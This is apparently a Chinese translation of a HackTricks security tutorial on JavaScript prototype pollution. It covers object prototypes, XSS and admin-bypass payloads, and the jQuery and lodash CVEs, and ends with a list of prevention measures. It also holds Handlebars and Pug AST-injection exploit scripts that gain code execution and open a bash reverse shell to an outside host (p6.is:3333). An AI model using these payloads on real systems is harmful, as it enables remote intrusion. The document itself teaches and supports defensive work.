NodeJS - __proto__ & prototype Pollution

从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

JavaScript中的对象

JavaScript中的对象本质上是键值对的集合,称为属性。可以使用Object.create方法并将null作为参数来创建一个空对象。这种方法允许创建一个没有任何继承属性的对象。

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

JavaScript中的函数和类

在JavaScript中,类和函数密切相关,函数经常充当类的构造函数。尽管JavaScript缺乏原生类支持,但构造函数可以模拟类的行为。

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

JavaScript中的原型

JavaScript允许在运行时修改、添加或删除原型属性。这种灵活性使得可以动态扩展类的功能。

toStringvalueOf等函数可以被修改以改变它们的行为,展示了JavaScript原型系统的适应性。

继承

在基于原型的编程中,属性/方法是从类中的对象继承的。这些类是通过将属性/方法添加到另一个类的实例或空对象中创建的。

值得注意的是,当将属性添加到充当其他对象原型的对象(如myPersonObj)时,继承对象就可以访问这个新属性。然而,除非显式调用,否则这个属性不会自动显示。

__proto__污染

探索JavaScript中的原型污染

JavaScript对象由键值对定义,并从JavaScript对象原型继承。这意味着修改Object原型可能会影响环境中的所有对象。

让我们使用一个不同的示例来说明:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

可以通过以下方式访问对象原型:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

通过向Object原型添加属性,每个JavaScript对象都将继承这些新属性:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

原型污染

对于限制了 __proto__ 使用的情况,修改函数的原型是一种替代方法:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

这仅影响从Vehicle构造函数创建的对象,为它们提供beephasWheelshonkisElectric属性。

全局影响JavaScript对象的两种方法包括:

  1. 直接污染Object.prototype

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. 污染常用结构的构造函数原型:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

污染其他对象

从类到Object.prototype

在一个场景中,您可以污染特定对象并且需要访问Object.prototype,您可以使用类似以下代码进行搜索:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

数组元素污染

请注意,正如您可以污染JS对象的属性一样,如果您可以污染一个数组,您也可以污染可以通过索引访问的数组的值(请注意,您无法覆盖值,因此您需要污染某种方式使用但未写入的索引)。

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html元素污染

在通过JS生成HTML元素时,可以覆盖 innerHTML 属性,使其编写任意HTML代码。 灵感和示例来自此文章

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

例子

基本示例

原型污染是由于应用程序中存在漏洞,允许在 Object.prototype 上覆盖属性。这意味着由于大多数对象从 Object.prototype 派生其属性

最简单的示例是向将要被检查的对象的未定义属性添加一个值,如:

if (user.admin) {

如果属性 admin 未定义,就有可能滥用原型污染并将其设置为 True,类似于以下操作:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

这背后的机制涉及操纵属性,以便如果攻击者控制某些输入,他们可以修改应用程序中所有对象的原型。这种操纵通常涉及设置 __proto__ 属性,在JavaScript中,这与直接修改对象的原型是同义的。

可以成功执行此攻击的条件,如特定研究中所述,包括:

  • 执行递归合并。

  • 基于路径定义属性。

  • 克隆对象。

覆盖函数

customer.__proto__.toString = ()=>{alert("polluted")}

Proto污染到RCE

Prototype Pollution to RCE

其他有效载荷:

客户端原型污染到XSS

Client Side Prototype Pollution

CVE-2019–11358:通过jQuery $ .extend进行原型污染攻击

有关更多详细信息,请查看此文章 在jQuery中,如果深度复制功能被错误使用,$ .extend 函数可能导致原型污染。该函数通常用于克隆对象或从默认对象合并属性。但是,当配置错误时,本应分配给新对象的属性可能被分配给原型。例如:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

这个漏洞,被标识为CVE-2019-11358,说明了深拷贝可能会无意中修改原型,导致潜在的安全风险,比如如果像isAdmin这样的属性在没有适当存在验证的情况下被检查,可能导致未经授权的管理员访问。

CVE-2018-3721,CVE-2019-10744:通过lodash进行原型污染攻击

有关更多详细信息,请查看此文章

Lodash 遇到了类似的原型污染漏洞(CVE-2018-3721,CVE-2019-10744)。这些问题已在版本4.17.11中得到解决。

具有CVE的另一个教程

用于检测原型污染的工具

NodeJS中的AST原型污染

NodeJS在JavaScript中广泛使用抽象语法树(AST)来实现功能,如模板引擎和TypeScript。本节探讨了与模板引擎中原型污染相关的漏洞,特别是Handlebars和Pug。

Handlebars漏洞分析

Handlebars模板引擎容易受到原型污染攻击。此漏洞源自javascript-compiler.js文件中的特定函数。例如,appendContent函数会在存在pendingContent时连接它,而pushSource函数在添加源代码后将pendingContent重置为undefined

利用过程

利用AST(抽象语法树)由Handlebars生成,遵循以下步骤:

  1. 解析器的操纵:首先,解析器通过NumberLiteral节点强制值为数字。原型污染可以绕过这一点,使非数字字符串插入。

  2. 编译器的处理:编译器可以处理AST对象或字符串模板。如果input.type等于Program,则将输入视为预解析,可以被利用。

  3. 代码注入:通过操纵Object.prototype,可以将任意代码注入模板函数,可能导致远程代码执行。

演示利用Handlebars漏洞的示例:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

这段代码展示了攻击者如何将任意代码注入Handlebars模板中。

外部参考: 在'flat'库中发现了与原型污染相关的问题,详细信息请参阅: GitHub上的问题

外部参考: 与'flat'库中原型污染相关的问题

Python中原型污染利用的示例:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug漏洞

Pug,另一个模板引擎,面临着原型污染的类似风险。有关更详细的信息,请参阅Pug中的AST注入讨论

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

预防措施

为了减少原型污染的风险,可以采用以下列出的策略:

  1. 对象不可变性:可以通过应用 Object.freeze 来使 Object.prototype 不可变。

  2. 输入验证:JSON 输入应该严格根据应用程序的模式进行验证。

  3. 安全合并函数:应避免不安全使用递归合并函数。

  4. 无原型对象:可以使用 Object.create(null) 来创建没有原型属性的对象。

  5. 使用 Map:应该使用 Map 而不是 Object 来存储键值对。

  6. 库更新:可以通过定期更新库来整合安全补丁。

  7. 代码检查工具:使用诸如 ESLint 等适当插件的工具来检测和防止原型污染漏洞。

  8. 代码审查:实施彻底的代码审查,以识别和修复与原型污染相关的潜在风险。

  9. 安全培训:教育开发人员有关原型污染的风险以及编写安全代码的最佳实践。

  10. 谨慎使用库:在使用第三方库时要谨慎。评估它们的安全状况并审查它们的代码,特别是那些操作对象的代码。

  11. 运行时保护:采用运行时保护机制,例如使用专注于安全的 npm 包,可以检测和防止原型污染攻击。

参考资料

从零开始学习 AWS 黑客技术 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

最后更新于